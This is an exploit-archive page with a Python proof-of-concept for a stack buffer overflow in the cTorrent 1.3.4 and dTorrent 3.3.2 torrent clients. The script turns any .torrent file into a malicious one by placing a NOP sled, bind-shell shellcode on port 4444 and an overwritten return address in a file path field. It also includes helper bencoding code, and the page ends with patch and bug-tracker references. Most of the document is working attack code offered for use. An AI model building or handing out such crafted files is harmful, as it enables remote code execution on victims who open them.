cTorrent/DTorrent (.Torrent File) Buffer Overflow PoC

2009.05.24
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python #Written By Michael Brooks #04/17/2009 #Stack Based Buffer Overflow #The vulnerability is in the btFiles::BuildFromMI function #inside the btfiles.cpp file #Exploit tested on cTorrent 1.3.4 using Debian Sarge using Linux kernel 2.4.27-3-386 #Can't get the exploit working on a modern linux kernel because of ASLR #code is using python 2.5 #Home page for cTorrent 1.3.4: #http://sourceforge.net/projects/ctorrent/ 161,000+ Downloads #dTorrent 3.3.2 is also vulnerable: #http://sourceforge.net/projects/dtorrent/ 18,000+ downloads import sys import os #This code will take any torrent file and turn it into an exploit. USAGE="python exploit.py in_file.torrent out_file.torrent" def main(): #Start of the program bfile=fileio() try: bad_torrent=bfile.read_bencode(sys.argv[1]) except: print USAGE sys.exit() exploit_str=create_exploit() print("Writing Bytes:"+str(len(exploit_str))) bad_torrent["info"]["files"][0]["path"][0]=exploit_str try: bfile.write_bencode(sys.argv[2], bad_torrent) except: print USAGE sys.exit() def create_exploit(): # linux_ia32_bind - LPORT=4444 Size=108 Encoder=PexFnstenvSub http://metasploit.com shellcode = "\x2b\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" shellcode += "\x1a\xbe\x4e\x83\xeb\xfc\xe2\xf4\x16\xc1\xed\x0d\x74\x70\xbc\x24" shellcode += "\x41\x42\x27\xc7\xc6\xd7\x3e\xd8\x64\x48\xd8\x26\x36\x46\xd8\x1d" shellcode += "\xae\xfb\xd4\x28\x7f\x4a\xef\x18\xae\xfb\x73\xce\x97\x7c\x6f\xad" shellcode += "\xea\x9a\xec\x1c\x71\x59\x37\xaf\x97\x7c\x73\xce\xb4\x70\xbc\x17" shellcode += "\x97\x25\x73\xce\x6e\x63\x47\xfe\x2c\x48\xd6\x61\x08\x69\xd6\x26" shellcode += "\x08\x78\xd7\x20\xae\xf9\xec\x1d\xae\xfb\x73\xce" #The exact address of our buffer is 0xbffffccc, which ebx tells us #however memeory changes before we control the eip, #so we change the addr to hit the NOP sled eip="\x11\xf1\xff\xbf" #eip="\xcc\xfc\xff\xbf"#the add ebx is holding #this is a dummy address to satisfy other pointer before we return #this cannot be the EIP becuase this location is written to! dumb_addr="\xcc\xfc\xff\xbf" #nop sled long_str="\x90"*(4028-len(shellcode)) #memory around the shellcode is written to, but this is a safe place long_str+=shellcode #this 100byte buffer is written to before we control the eip long_str+="\x90"*100 long_str+=eip#4128 bytes is the EIP! #This pointer must be real becuase it is written to in btFiles::BuildFromMI long_str+=dumb_addr#"this" #We can control these addresses but we don't need them #long_str+=dumb_addr#"metabuf" #long_str+=dumb_addr#"saveas" return long_str #Start of functions for bencoding: def BTFailure(msg): pass def decode_int(x, f): f += 1 newf = x.index('e', f) n = int(x[f:newf]) if x[f] == '-': if x[f + 1] == '0': raise ValueError elif x[f] == '0' and newf != f+1: raise ValueError return (n, newf+1) def decode_string(x, f): colon = x.index(':', f) n = int(x[f:colon]) if x[f] == '0' and colon != f+1: raise ValueError colon += 1 return (x[colon:colon+n], colon+n) def decode_list(x, f): r, f = [], f+1 while x[f] != 'e': v, f = decode_func[x[f]](x, f) r.append(v) return (r, f + 1) def decode_dict(x, f): r, f = {}, f+1 while x[f] != 'e': k, f = decode_string(x, f) r[k], f = decode_func[x[f]](x, f) return (r, f + 1) decode_func = {} decode_func['l'] = decode_list decode_func['d'] = decode_dict decode_func['i'] = decode_int decode_func['0'] = decode_string decode_func['1'] = decode_string decode_func['2'] = decode_string decode_func['3'] = decode_string decode_func['4'] = decode_string decode_func['5'] = decode_string decode_func['6'] = decode_string decode_func['7'] = decode_string decode_func['8'] = decode_string decode_func['9'] = decode_string def bdecode(x): try: r, l = decode_func[x[0]](x, 0) except (IndexError, KeyError, ValueError): raise BTFailure("not a valid bencoded string") if l != len(x): raise BTFailure("invalid bencoded value (data after valid prefix)") return r from types import StringType, IntType, LongType, DictType, ListType, TupleType class Bencached(object): __slots__ = ['bencoded'] def __init__(self, s): self.bencoded = s def encode_bencached(x,r): r.append(x.bencoded) def encode_int(x, r): r.extend(('i', str(x), 'e')) def encode_bool(x, r): if x: encode_int(1, r) else: encode_int(0, r) def encode_string(x, r): r.extend((str(len(x)), ':', x)) def encode_list(x, r): r.append('l') for i in x: encode_func[type(i)](i, r) r.append('e') def encode_dict(x,r): r.append('d') ilist = x.items() ilist.sort() for k, v in ilist: r.extend((str(len(k)), ':', k)) encode_func[type(v)](v, r) r.append('e') encode_func = {} encode_func[Bencached] = encode_bencached encode_func[IntType] = encode_int encode_func[LongType] = encode_int encode_func[StringType] = encode_string encode_func[ListType] = encode_list encode_func[TupleType] = encode_list encode_func[DictType] = encode_dict try: from types import BooleanType encode_func[BooleanType] = encode_bool except ImportError: pass def bencode(x): r = [] encode_func[type(x)](x, r) return ''.join(r) class fileio: def read_bencode(self,file): infile = open(file,"r") file=infile.read() infile.close return bdecode(file) #writes a dictionary to a bencoded file def write_bencode(self,file,dict): outfile = open(file, 'wb') outfile.write(bencode(dict)) outfile.close() #execute main main()

References:

http://dtorrent.svn.sourceforge.net/viewvc/dtorrent/dtorrent/trunk/btfiles.cpp?r1=296&r2=301&view=patch
https://bugzilla.redhat.com/show_bug.cgi?id=501813
http://sourceforge.net/tracker/?func=detail&aid=2782875&group_id=202532&atid=981959


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